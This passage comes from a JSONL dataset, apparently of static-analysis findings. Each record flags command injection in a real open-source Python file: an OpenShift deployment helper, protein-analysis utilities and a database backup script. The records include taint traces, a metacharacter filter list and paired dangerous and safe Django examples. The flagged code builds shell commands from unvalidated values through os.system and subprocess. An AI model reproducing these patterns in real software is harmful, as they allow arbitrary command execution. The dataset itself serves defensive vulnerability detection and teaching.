configparser\nimport subprocess\n\ncontainer = \"jszhaw/snafu\"\n\nendpoints = {}\n\ndef executecontrol(flaskrequest, tenant):\n\tif not tenant in endpoints:\n\t\tusername = os.getenv(\"OPENSHIFT_USERNAME\")\n\t\tpassword = os.getenv(\"OPENSHIFT_PASSWORD\")\n\t\tpassword = os.getenv(\"OPENSHIFT_PROJECT\")\n\t\tif not username or not password or not project:\n\t\t\treturn\n\t\tos.system(\"oc login https://console.appuio.ch/ --username={} --password={}\".format(username, password))\n\t\tos.system(\"oc project {}\".format(project))\n\t\tos.system(\"oc new-app --name snafu-{} jszhaw/snafu\".format(tenant))\n\t\tp = subprocess.run(\"oc status | grep svc/snafu-{} | cut -d \" \" -f 3\".format(tenant), shell=True, stdout=subprocess.PIPE)\n\n\t\tendpoints[tenant] = \"http://{}\".format(p.decode(\"utf-8\"))\n\t\t# FIXME: mounting the tenant's volume container to /opt/functions-local\n\tendpoint = endpoints[tenant]\n\n\theaders = {}\n\theaders[\"X-Amz-Date\"] = flaskrequest.headers.get(\"X-Amz-Date\")\n\n\tdata = flaskrequest.data.decode(\"utf-8\")\n\t#method=r.method -> requests.post\n\n\treply = requests.post(endpoint + flaskrequest.path, data=data, headers=headers)\n\n\tif reply.status_code == 200:\n\t\treturn reply.content.decode(\"utf-8\")\n\telse:\n\t\treturn", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9.     # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13.     os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 13, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "13"}}, {"lineNo": 16, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "os.getenv"}}, {"lineNo": 19, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "format"}}, {"lineNo": 19, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "os.system"}}]}}
{"id": "916fe980bc156ce8734276decfa71a804a7f864ebaa4676dbcb1f93e0e52848e", "license": {"spdx": ["MIT"], "repo": "juan-rodriguez-rivas/covmut", "path": "modeling/utils.py", "repo_head_hexsha": "1d86ab032ebcb011d303adb094be0cf0acd74582", "stack_hexsha": "77c7d522d57360f89bafeb1de251e1adca5fca07", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 243, "entireCode": "import numpy as np\nimport gzip\nfrom Bio import SeqIO\nfrom pathlib import Path\nimport os\nimport subprocess\nimport tarfile\nfrom io import BytesIO\n#for parallel computing\nfrom joblib import Parallel, delayed\nimport multiprocessing\nnum_cores_energy = multiprocessing.cpu_count()\nfrom tqdm import tqdm\nimport pandas as pd\nimport sys\n\n\nvalid_aa = ['A','C','D','E','F','G','H','I','K','L','M','N','P','Q','R','S','T','V','W','Y','-']\naa_3= ['ALA','CYS','ASP','GLU','PHE','GLY','HIS','ILE','LYS','LEU','MET','ASN','PRO','GLN','ARG','SER','THR','VAL','TRP','TYR','-']\n\nd_aa_num= {a:i for i,a in enumerate(valid_aa)}\nd_3to1 = {a3:a1 for a3,a1 in zip(aa_3,valid_aa)}\n\n\n\ndef read_dca_par(path_h_DCA, path_J_DCA):\n    ''' read compressed DCA file '''\n    tar = tarfile.open(path_h_DCA, \"r:gz\")\n    for member in tar.getmembers():\n        f = tar.extractfile(member)\n        if f is not None:\n            content = f.read()\n            load_bytes = BytesIO(content)\n            h = np.load(load_bytes)\n    tar = tarfile.open(path_J_DCA, \"r:gz\")\n    for member in tar.getmembers():\n        f = tar.extractfile(member)\n        if f is not None:\n            content = f.read()\n            load_bytes = BytesIO(content)\n            J = np.load(load_bytes)\n    return h,J\n\ndef compute_sm_energy_dict(seq, h ,J):\n    ''' for SINGLE MUTANTS, return a dictionary d['idx', 'mutated_aa'] = energy - energy_wild_type '''\n    ''' it can be VERY SLOW and d_sm BIG(all possible sm ~ 21*L) '''\n    ''' see below to speed it up '''\n    E0 = compute_energy(seq,h,J)\n    d_sm = {}\n    for i in range(0, len(seq)):\n        print(i, len(seq))\n        #add also the gap\n        for aa in valid_aa:\n            new_seq = seq[:i] + aa + seq[(i+1):]\n            E = compute_energy(new_seq,h,J)\n            print(E)\n            d_sm[i,aa] = np.round(E-E0,4)\n    return d_sm\n\ndef compute_sm_energy(seq, h ,J, idx, aa ):\n    ''' for SINGLE MUTANTS, given the ref_seq,h,J and idx(pos_mutations) aa(mutated_aa)\n    return energy_sum_single_mutants - energy_wild_type '''\n    E0 = compute_energy(seq,h,J)\n    E_sum_sm = 0\n    for i,a_i in zip(idx, aa):\n        new_seq = seq[:i] + a_i + seq[(i+1):]\n        E = compute_energy(new_seq,h,J)\n        E_sum_sm += E\n    return np.round(E_sum_sm,4)\n\ndef compute_energy(seq, h, J, parallel = False):\n    if all_standard_aa(seq):\n        if(parallel == True):\n            #DO NOT USE FOR NOW!!!\n            #something weird... E_parallel != E_non_parallel\n            # parallel actually slower than non parallel (execution time limited by memory access and not processor time??)\n            E = 0\n            all_ei = Parallel(n_jobs=num_cores_energy)(delayed(compute_energy_given_ai)(seq, h, J, idx_ai) for idx_ai in range(0,len(seq)))\n            E = np.sum(all_ei)\n            return E\n        if(parallel == False):\n            E = 0\n            for idx_aa1 in range(0, len(seq)):\n                aa1 = seq[idx_aa1]\n                E -= h[d_aa_num[aa1], idx_aa1]\n                for idx_aa2 in range(idx_aa1+1, len(seq)):\n                    aa2 = seq[idx_aa2]\n                    E -= J[d_aa_num[aa1], d_aa_num[aa2], idx_aa1, idx_aa2]\n            return E\n\ndef compute_energy_given_ai(seq,h,J, idx_ai):\n    '''e.g. idx_ai=1; computing E_1 = h_1 + J_12 + J_13 etc. (good for parallelization)'''\n    ai = seq[idx_ai]\n    #print(\"**\", idx_ai, ai)\n    ei = h[d_aa_num[ai], idx_ai]\n    for idx_aj in range(idx_ai+1, len(seq)):\n        aj = seq[idx_aj]\n        #print(idx_aj, aj)\n        ei -= J[d_aa_num[ai], d_aa_num[aj], idx_ai, idx_aj]\n    return ei\n\ndef compute_entropy_context_ind(path_msa):\n    ''' compute context-independent entropy (from msa)'''\n    fi = compute_freq(path_msa)\n    S = compute_entropy_from_freq(fi)\n    return S\n\ndef compute_entropy_from_freq(fi, remove_gaps = True, base2 = True):\n    if remove_gaps:\n        fi = (fi[:20,:])/np.sum(fi[:20,:], axis = 0)\n    qq, N = fi.shape\n    S = []\n    for i in range(0,N):\n        si = 0\n        for q in range(0,qq):\n            si -= fi[q,i]*np.log(fi[q,i])\n        if base2:\n            si /= np.log(2)\n        S.append(si)\n    return S\n\ndef compute_entropy_context_dep(ref_seq, h,J ):\n    ''' compute context-DEPENDENT entropy (from hhblits ref_seq, h, J)'''\n    q, N = h.shape\n    fi_plm = np.zeros(h.shape)\n    #same conventions than in Eq.5.8 (PhD thesis)\n    for i in range(0,N):\n        #compute denominator\n        denom = 0\n        for b in range(0,q):\n            arg_denom = h[b,i]\n            for j in range(0,N):\n                if(j!=i):\n                    aj = d_aa_num[ref_seq[j]]\n                    arg_denom += J[b, aj ,i, j]\n            denom += np.exp(arg_denom)\n        # compute numerator\n        for ai in range(0,q):\n            arg_num = h[ai,i]\n            for j in range(0,N):\n                if(j!=i):\n                    aj = d_aa_num[ref_seq[j]]\n                    arg_num += J[ai, aj ,i, j]\n            num = np.exp(arg_num)\n            fi_plm[ai,i] = num/denom\n    #return the entropy\n    S = compute_entropy_from_freq(fi_plm)\n    return S\n\ndef compute_num_gap(seq):\n    '''return the number of gaps in a sequence '''\n    num_gap = 0\n    for _,char in enumerate(seq):\n        if(char == '-'):\n            num_gap += 1\n    return num_gap\n\ndef compute_gap_fraction(seq):\n    num_gap = compute_num_gap(seq)\n    frac_gap = (num_gap+0.0)/len(seq)\n    return frac_gap\n\ndef compute_diff(ref_seq, seq):\n    ''' compute the mutations between two strings, return idx_mut, aa_first_seq(wt), aa_second_seq(mutant)'''\n    vec_idx = []\n    vec_aa1 = []\n    vec_aa2 = []\n    for idx, aa in enumerate(zip(ref_seq,seq)):\n        aa1 = aa[0]\n        aa2 = aa[1]\n        if (aa1.lower() != aa2.lower()):\n            vec_idx.append(idx)\n            vec_aa1.append(aa1)\n            vec_aa2.append(aa2)\n    return vec_idx, vec_aa1, vec_aa2\n\ndef compute_dist(ref_seq, seq):\n    distance = sum([1 for x, y in zip(ref_seq, seq) if x.lower() != y.lower()])\n    return distance\n\ndef compute_dist_excluding_gaps(ref_seq, seq):\n#     distance = sum([1 for x, y in zip(ref_seq, seq) if ( x.lower() != y.lower() or x == '-' or y == '-' )])\n    distance = 0\n    for x, y in zip(ref_seq, seq):\n        if x == '-':\n            continue\n        elif y == '-':\n            continue      \n        elif x.lower() != y.lower():\n            distance += 1\n            \n    return distance\n\ndef compute_seqid(ref_seq, seq):\n    '''return the sequence identity (seqid) '''\n    distance = compute_dist_excluding_gaps(ref_seq,seq)\n    distance /= len(seq)\n    seqid = 1 - distance\n    return seqid\n\ndef compute_freq(path_msa):\n    ''' compute single point frequencies of an MSA '''\n    records_msa = list(SeqIO.parse(open(path_msa,'r'), \"fasta\"))\n    fi = np.zeros(( len(d_aa_num), len(records_msa[0].seq) ))\n    for idx_rec, rec in enumerate(records_msa):\n        seq = rec.seq\n        for idx_aa, amino_a in enumerate(seq):\n            fi[d_aa_num[amino_a], idx_aa] += 1\n    #add (small) pseudocount to take into account 0 frequencies (0*log(0))\n    alpha = 0.0001\n    fi = (1-alpha)*fi + alpha/2\n    #normalize\n    fi /= fi.sum(axis = 0)\n    return fi\n\ndef all_standard_aa(seq):\n    '''return True if sequence contains only standard-aa'''\n    for char in seq:\n        if((char not in valid_aa) and char !='-'):\n            #print(\"seq containing non standard aa: \"+char)\n            return False\n            break\n    return True\n\ndef split_proteome(path_ref_proteome, name_ref_proteome, tmp_path):\n    ''' simple function to split the reference proteome in reference proteins'''\n    with open(os.path.join(path_ref_proteome, name_ref_proteome), \"r\") as input_handle:\n        for record_ref in SeqIO.parse(input_handle, \"fasta\"):\n            name = record_ref.id\n            seq_ref = str(record_ref.seq)\n            #save tmp file with the seq of the reference\n            name_tmp_file = \"ref_\"+name\n            f_tmp = open(os.path.join(tmp_path,name_tmp_file),\"w\")\n            f_tmp.write(\">\"+name+\"\\n\")\n            f_tmp.write(seq_ref)\n            f_tmp.close()\n        return 0\n\ndef run_hhblits(path_hhblits, path_ref_prot, path_db, path_msa_out, num_cores):\n        ''' run hhblits, get the distant homologs MSA, return the number of sequences '''\n        #1) run hhblits\n        FNULL = open(os.devnull, 'w')\n        subprocess.run([path_hhblits, '-i', path_ref_prot, '-d', path_db, '-oa3m', path_ref_prot+\".a3m\", '-cpu' , str(num_cores)], stdout=FNULL, stderr=subprocess.STDOUT)\n        #num of sequences\n        file_out = open(path_msa_out, 'w')\n        #2) parse and filter the hhblits msa\n        with open(path_ref_prot+\".a3m\", \"r\") as input_handle:\n            for idx_record, record in enumerate(SeqIO.parse(input_handle, \"fasta\")):\n                seq = str(record.seq)\n                #hhblits ouput is a3m format, to make it a fasta remove dot and lower\n                seq = ''.join(char for char in seq if (char.isupper() or char =='-'))\n                # 2.1) do the  filtering\n                records_ref = list(SeqIO.parse(open(path_ref_prot,'r'), \"fasta\"))\n                ref_seq = str(records_ref[0].seq)\n                # - remove sequences which are to gapped (i.e. gap_fraction mst be less than 10% gap)\n                # - remove sequence which are CLOSE to the reference sequence (i.e. sequence_identity must be LESS than 90%)\n                # - remove sequences containing non standard aa\n                if( (compute_gap_fraction(seq) < 0.1) and (compute_seqid(ref_seq, seq) < 0.9) and all_standard_aa(seq)):\n                    file_out.write(str(\">\"+record.id)+'\\n')\n                    file_out.write(str(seq)+'\\n')\n            file_out.close()\n        return 0\n\ndef filterMSA(path_ref_prot, path_msa_in, path_msa_out, include_refseq=True, max_grap_fraction = 0.2, max_seq_id = 0.9):\n        file_out = open(path_msa_out, 'w')\n        # parse and filter the msa\n        records_ref = list(SeqIO.parse(open(path_ref_prot,'r'), \"fasta\"))\n        ref_seq = str(records_ref[0].seq)\n        with open(path_msa_in, \"r\") as input_handle:\n            count = 1\n            for idx_record, record in enumerate(SeqIO.parse(input_handle, \"fasta\")):\n                seq = str(record.seq)\n                #remove dot and lower\n                seq = ''.join(char for char in seq if (char.isupper() or char =='-'))\n                #  do the filtering\n                # - remove the sequences which are to gapped (i.e. sequence must contain less than 10 gap)\n                # - remove sequence which are close the reference sequence (i.e. sequence_identity must be less than 90%)\n                # - remove sequences containing non standard aa\n                if include_refseq and count == 1: # Keep the first seq, i.e., the reference sequence\n                    file_out.write(str(\">\"+record.id)+'\\n')\n                    file_out.write(str(seq)+'\\n')\n                    count += 1 \n                elif( (compute_gap_fraction(seq) < max_grap_fraction) and (compute_seqid(ref_seq, seq) < max_seq_id) and all_standard_aa(seq)):\n                    file_out.write(str(\">\"+record.id)+'\\n')\n                    file_out.write(str(seq)+'\\n')\n        file_out.close()\n        return 0\n    \ndef filterMSA_gisaid(path_ref_prot, path_msa_in, path_msa_out, max_grap_fraction = 0.2, min_seq_id = 0.9):\n        file_out = open(path_msa_out, 'w')\n        # parse and filter the msa\n        records_ref = list(SeqIO.parse(open(path_ref_prot,'r'), \"fasta\"))\n        ref_seq = str(records_ref[0].seq)\n        with open(path_msa_in, \"r\") as input_handle:\n            count = 1\n            for idx_record, record in enumerate(SeqIO.parse(input_handle, \"fasta\")):\n                seq = str(record.seq)\n                #remove dot and lower\n                seq = ''.join(char for char in seq if (char.isupper() or char =='-'))\n                #  do the filtering\n                # - remove the sequences which are to gapped (i.e. sequence must contain less than 10 gap)\n                # - remove sequence which are far the reference sequence (i.e. sequence_identity must greater than 90%)\n                # - remove sequences containing non standard aa\n                if count == 1: # Keep the first seq, i.e., the reference sequence\n                    file_out.write(str(\">\"+record.id)+'\\n')\n                    file_out.write(str(seq)+'\\n')\n                    count += 1 \n                elif( (compute_gap_fraction(seq) < max_grap_fraction) and (compute_seqid(ref_seq, seq) > min_seq_id) and all_standard_aa(seq)):\n                    file_out.write(str(\">\"+record.id)+'\\n')\n                    file_out.write(str(seq)+'\\n')\n        file_out.close()\n        return 0\n\n\ndef do_DCA_inference(path_msa, path_dca_par, min_num_seq, num_cores):\n        #1) number of lines (sequences). N.b. in Uniclust30 Meff ~ M\n        M = len(open(path_msa).readlines())/2\n        #2) do the inference with DCA\n        #only for msa with more than min_num_seq sequences\n        if( M > min_num_seq):\n            #import julia (Try to include julia variables into python => TO DO, see 'import julia') ---> doesn't work, I gave up...\n#             filename = \n            out_file = path_msa + '.out'\n#             f_julia= open(os.path.join(path_dca_par,out_file), 'a')\n            f_julia= open(out_file, 'w')\n            f_julia.write(path_msa.split(\"/\")[-1]+\".fa\"+'\\n')\n            f_julia.close() #close and re-open. Otherwise it writes the msa only at the end (after plmDCA info) (function waits subprocess to finish)\n#             f_julia= open(os.path.join(path_dca_par,out_file), 'a')\n            f_julia= open(out_file, 'w')\n            subprocess.run([\"julia\",'-p', str(num_cores), './src/plmDCA_inference.jl',path_msa, path_dca_par], stdout=f_julia, stderr=subprocess.STDOUT)\n            f_julia.close()\n        else:\n            print('... ERROR! too few seqs (M={0})!'.format(str(M)))\n        return 0\n\ndef run_phmmer(path_phmmer, path_ref_prot, path_db, path_msa_out, path_tmp_stockholm, path_tmp_msa, num_cores):\n        ''' run phmmer, get the local homologs MSA (form E coli strains) '''\n        file_out = open(path_msa_out, 'w')\n        #1) run phmmer\n        FNULL = open(os.devnull, 'w')\n        subprocess.run([path_phmmer, '-A', path_tmp_stockholm, '--cpu', str(num_cores), path_ref_prot, path_db], stdout=FNULL, stderr=subprocess.STDOUT)\n        #2) convert stockholm to fasta\n        subprocess.run(['./src/stockholm2fasta.pl', '-g',  path_tmp_stockholm ], stdout=open(path_tmp_msa,'w'),stderr=subprocess.STDOUT)\n        #3) parse and filter the hhblits msa\n        with open(path_tmp_msa, \"r\") as input_handle:\n            for idx_record, record in enumerate(SeqIO.parse(input_handle, \"fasta\")):\n                seq = str(record.seq)\n                #remove dot and lower\n                seq = ''.join(char for char in seq if (char.isupper() or char =='-'))\n                # 2.1) do the filtering\n                records_ref = list(SeqIO.parse(open(path_ref_prot,'r'), \"fasta\"))\n                ref_seq = str(records_ref[0].seq)\n                # - remove the sequences which are to gapped (i.e. sequence must contain less than 10 gap)\n                # - remove sequence which are FAR the reference sequence (i.e. sequence_identity must be MORE than 90%)\n                # - remove sequences containing non standard aa\n                if( (compute_num_gap(seq) < 10) and (compute_seqid(ref_seq, seq) > 0.9) and all_standard_aa(seq)):\n                    file_out.write(str(\">\"+record.id)+'\\n')\n                    file_out.write(str(seq)+'\\n')\n        file_out.close()\n        #rm prefiltering msa\n        subprocess.run(['rm' , path_tmp_msa])\n        #rm stockholm (too big!)\n        subprocess.run(['rm' , path_tmp_stockholm])\n        return 0\n\ndef compute_energy_local_msa(ref_prot_file, output_file, ali_file,h,J, verbose ):\n    ''' load DCA model, compute energy of strains (also e_sum_sm and postions mutated '''\n    records_ref = list(SeqIO.parse(open(ref_prot_file,'r'), \"fasta\"))\n    ref_seq = str(records_ref[0].seq)\n    ref_name = str(records_ref[0].id)\n    E0 = 0\n    #0. compute energy single mutants -> NO need for it ( and very slow, seq function compute_sm_energy(seq, h, J, idx, aa)\n    #d_sm = compute_sm_energy(ref_seq, h, J)\n    path_msa_local = os.path.join(ali_file)\n    all_seq_name = []\n    all_seq_num_occurences= []\n    all_seq_e = []\n    all_seq_dist = []\n    all_seq_ref_prot = []\n    all_seq_sum_sm = []\n    all_seq_mut_idx= []\n    all_seq_mut_aa = []\n    E0 = compute_energy(ref_seq, h, J)\n    with open(path_msa_local,\"r\") as f:\n        for record in tqdm(SeqIO.parse(f,\"fasta\")):\n            seq = str(record.seq)\n            E = compute_energy(seq, h, J)\n            idx, aa1, aa2 = compute_diff(ref_seq,seq)\n            # sum of energies single mutants\n            E_sum_sm = compute_sm_energy(ref_seq, h, J, idx, aa2)\n            #num mutations\n            dist = len(idx)\n            name_seq_list = (str(record.id).split('/')[0]).split('-')\n            if(verbose == True):\n                for name_seq in name_seq_list:\n                        all_seq_ref_prot.append(ref_name)\n                        all_seq_name.append(name_seq)\n                        all_seq_e.append(np.round(E,4))\n                        all_seq_dist.append(int(dist))\n                        all_seq_sum_sm.append(np.round(E_sum_sm,4))\n                        all_seq_mut_idx.append(idx)\n                        all_seq_mut_aa.append(aa2)\n                all_seq_e_e0 = np.round(all_seq_e - E0,4)\n            if(verbose == False):\n                all_seq_ref_prot.append(ref_name)\n                all_seq_num_occurences.append(len(name_seq_list))\n                all_seq_e.append(np.round(E,4))\n                all_seq_dist.append(int(dist))\n                all_seq_sum_sm.append(np.round(E_sum_sm,4))\n                all_seq_e_e0 = np.round(all_seq_e - E0 ,4)\n                all_seq_mut_idx.append(idx)\n                all_seq_mut_aa.append(aa2)\n    if(verbose == True):\n        df = pd.DataFrame({'ref':all_seq_ref_prot, 'seq_name':all_seq_name, 'e':all_seq_e, 'e-e0':all_seq_e_e0, 'e_sum_sm': all_seq_sum_sm, 'dist':all_seq_dist, 'idx_mut':all_seq_mut_idx, 'aa_mut': all_seq_mut_aa})\n    if(verbose == False):\n        df = pd.DataFrame({'ref':all_seq_ref_prot, 'num_occurences':all_seq_num_occurences, 'e':all_seq_e, 'e-e0':all_seq_e_e0, 'e_sum_sm': all_seq_sum_sm,'dist':all_seq_dist, 'idx_mut':all_seq_mut_idx, 'aa_mut': all_seq_mut_aa})\n    df.to_csv(os.path.join(output_file), index = False)\n    return 0\n\ndef compute_energy_ind_msa(ref_prot_file, ali_file, output_file, h,J ):\n    ''' load DCA model, compute energy of mutation sampled from the profile model'''\n    records_ref = list(SeqIO.parse(open(ref_prot_file,'r'), \"fasta\"))\n    ref_seq = str(records_ref[0].seq)\n    ref_name = str(records_ref[0].id)\n    path_msa_local_ind = os.path.join(ali_file)\n    all_seq_ref_prot = []\n    all_seq_e = []\n    all_seq_e_e0 = []\n    all_seq_dist = []\n    E0 = compute_energy(ref_seq, h, J)\n    with open(path_msa_local_ind,\"r\") as f:\n        for record in tqdm(SeqIO.parse(f,\"fasta\")):\n            seq = str(record.seq)\n            dist = compute_dist(ref_seq,seq)\n            E = compute_energy(seq, h, J)\n            all_seq_ref_prot.append(ref_name)\n            all_seq_e.append(np.round(E,4))\n            all_seq_dist.append(int(dist))\n        all_seq_e_e0 = np.round(all_seq_e - E0 ,4)\n        df_ind = pd.DataFrame({'ref':all_seq_ref_prot, 'e':all_seq_e, 'e-e0':all_seq_e_e0, 'dist':all_seq_dist})\n    df_ind.to_csv(os.path.join(output_file), index = False)\n    return 0\n\ndef compute_energy_rand_msa(ref_prot_file, ali_file, output_file, h,J):\n    ''' load DCA model, compute energy of mutation sampled from the random model'''\n    records_ref = list(SeqIO.parse(open(ref_prot_file,'r'), \"fasta\"))\n    ref_seq = str(records_ref[0].seq)\n    ref_name = str(records_ref[0].id)\n    path_msa_local_rand= os.path.join(ali_file)\n    all_seq_ref_prot = []\n    all_seq_e = []\n    all_seq_e_e0 = []\n    all_seq_dist = []\n    E0 = compute_energy(ref_seq, h, J)\n    with open(path_msa_local_rand,\"r\") as f:\n        for record in tqdm(SeqIO.parse(f,\"fasta\")):\n            seq = str(record.seq)\n            dist = compute_dist(ref_seq,seq)\n            E = compute_energy(seq, h, J)\n            all_seq_ref_prot.append(ref_name)\n            all_seq_e.append(np.round(E,4))\n            all_seq_dist.append(int(dist))\n        all_seq_e_e0 = np.round(all_seq_e - E0 ,4)\n        df_rand = pd.DataFrame({'ref':all_seq_ref_prot, 'e':all_seq_e, 'e-e0':all_seq_e_e0, 'dist':all_seq_dist})\n    df_rand.to_csv(os.path.join(output_file, 'e_'+ref_name+'_rand.csv'), index = False)\n    return 0\n\ndef compute_all_entropies(ref_prot_file, ali_file, ali_file_local, output_file, h, J ):\n    ''' compute s_ind, s_dep , s_strains '''\n    records_ref = list(SeqIO.parse(open(ref_prot_file,'r'), \"fasta\"))\n    ref_seq = str(records_ref[0].seq)\n    ref_name = str(records_ref[0].id)\n    ####################################################################################################\n    #context IND entropy (from msa_hhblits)\n    path_msa_hhblits = os.path.join(ali_file)\n    S_ind = np.round(compute_entropy_context_ind(path_msa_hhblits),4)\n    #context DEP entropy (from ref_seq, h, J)\n    S_dep = np.round(compute_entropy_context_dep(ref_seq, h,J),4)\n    #compute entropy in MSA_local (hhblits) (i.e. observed polymorphism?)\n    path_msa_local = os.path.join(ali_file_local)\n    S_local_obs = np.round(compute_entropy_context_ind(path_msa_local),4)\n    all_seq_ref_prot = [ref_name for i in range(0,len(ref_seq))]\n    all_seq_idx= [i for i in range(0,len(ref_seq))]\n    df_s = pd.DataFrame({'ref':all_seq_ref_prot, 'idx': all_seq_idx, 's_ind':S_ind, 's_dep':S_dep, 's_local_obs':S_local_obs})\n    df_s.to_csv(os.path.join(output_file), index = False)\n    return 0\n", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9.     # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13.     os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 242, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "open"}}, {"lineNo": 242, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 243, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "subprocess.run"}}]}}
{"id": "75a5abc1a185c24d41c31c160368db9a39e6a12d7f3aafb38bf2c3eb3f47f3f9", "license": {"spdx": ["MIT"], "repo": "Fanliaa/Projet6_OpenClassRooms", "path": "Script_Backup.py", "repo_head_hexsha": "2fd0a3540c04f972e7c35180e24cbd9a8d5687ab", "stack_hexsha": "3b934e63bba3768ddeff1f2ea4c62427c1ff6de9", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 73, "entireCode": "#!/bin/bash/python\n# \n# Importation des librairies utiles\nimport json\nimport os\nimport pipes\nimport time\nimport datetime\nimport sys\nimport zipfile\nfrom os.path import basename\nimport paramiko\nimport logging\nimport boto3\nfrom botocore.exceptions import ClientError\n\n# Declaration des variables\nDATETIME = time.strftime('%Y-%m-%d_%H-%M-%S')\nBACKUP_PATH = '/home/fanny/Documents/Sauvegardes/BACKUP_' + DATETIME\nFILE_MYSQL = '/home/fanny/Documents/Sauvegardes/MySQL/'\nFILE_POSTGRE = '/home/fanny/Documents/Sauvegardes/PostgreSQL/'\nFILE_SQLITE = '/home/fanny/Documents/Sauvegardes/SQLite/'\nBUCKET_S3 = 'backup-srv-bdd'\n\n# Declaration des fonctions\ndef upload_file(file_name, bucket, object_name=None):\n    # Si S3 object_name n'est pas spécifié, alors on utilisera le nom original de celui-ci\n    if object_name is None:\n        object_name = file_name\n\n    with open(infoJS, \"r\") as filejson:\n\t    donnees = json.load(filejson)\n\n    # Informations client S3\n    s3_client = boto3.client('s3',\n                aws_access_key_id=donnees[\"aws_access_key_id\"],\n                aws_secret_access_key=donnees[\"aws_secret_access_key\"])\n    # Permet de télécharger les fichiers que l'on souhaite et lesdéposer sur AWS\n    try:\n        response = s3_client.upload_file(file_name, bucket, object_name)\n        print (response)\n    except ClientError as e:\n        logging.error(e)\n        return False\n    return True\n\n# On verifie que le dossier de Backup n'existe pas, s'il n'existe pas on le creer\ntry:\n    os.mkdir(BACKUP_PATH)\n    print(\"Dossier créé.\")\n    os.mkdir(FILE_MYSQL)\n    print(\"Dossier MYSQL créé.\")\n    os.mkdir(FILE_POSTGRE)\n    print(\"Dossier POSTGRE créé.\")\n    os.mkdir(FILE_SQLITE)\n    print(\"Dossier SQLITE créé.\")\nexcept:\n    print(\"Certains dossiers existent déjà\")\n    pass\n\n# Importer les valeurs de JSON et les stocker dans des variables\ninfoJS = \"/home/fanny/Documents/Projet6/info_srv.json\" \n\nwith open(infoJS, \"r\") as filejson:\n\tdonnees = json.load(filejson)\n\n# Debut de la boucle\nfor server in donnees[\"databases\"]:\n\n    # Condition, boucler sur cette condition de connexion tant que c'est une BDD Mysql\n    if server[\"type\"] == 'MariaDB':\n        # Sauvegarde des bases de données passées en paramètre\n        os.system(\"mysqldump --column-statistics=0 -h \" + server[\"ip\"] + \" -u \" + server[\"user\"] + \" -p\" + server[\"password\"] + \" \" + server[\"BDD\"] + \" > \" + pipes.quote(BACKUP_PATH) + \"/\" + server[\"BDD\"] + \".sql\")\n        print(\"Sauvegarde de la base de donnée \" + server[\"BDD\"] + \" a bien été effectuée.\")\n        # ZIP du fichier sql de notre base de donnée\n        zf = zipfile.ZipFile (FILE_MYSQL + server[\"BDD\"] + \".zip\", mode='w')\n        try:\n            print(\"Zipping \" + server[\"BDD\"])\n            zf.write(BACKUP_PATH + \"/\" + server[\"BDD\"] + \".sql\", basename(BACKUP_PATH + \"/\" + server[\"BDD\"] + \".sql\",))\n        finally:\n            zf.close()\n            print(\"Le fichier ZIP a bien été créé.\")\n        # Envoi des zip de sauvegarde sur AWS3\n        upload_file(FILE_MYSQL + \"/\" + server[\"BDD\"] + \".zip\", BUCKET_S3, \"MYSQL/\" + server[\"BDD\"] + \".zip\")\n        print(\"Fichier zip envoyé sur AWS.\")\n\n    # Condition, boucler sur cette condition de connexion tant que c'est une BDD 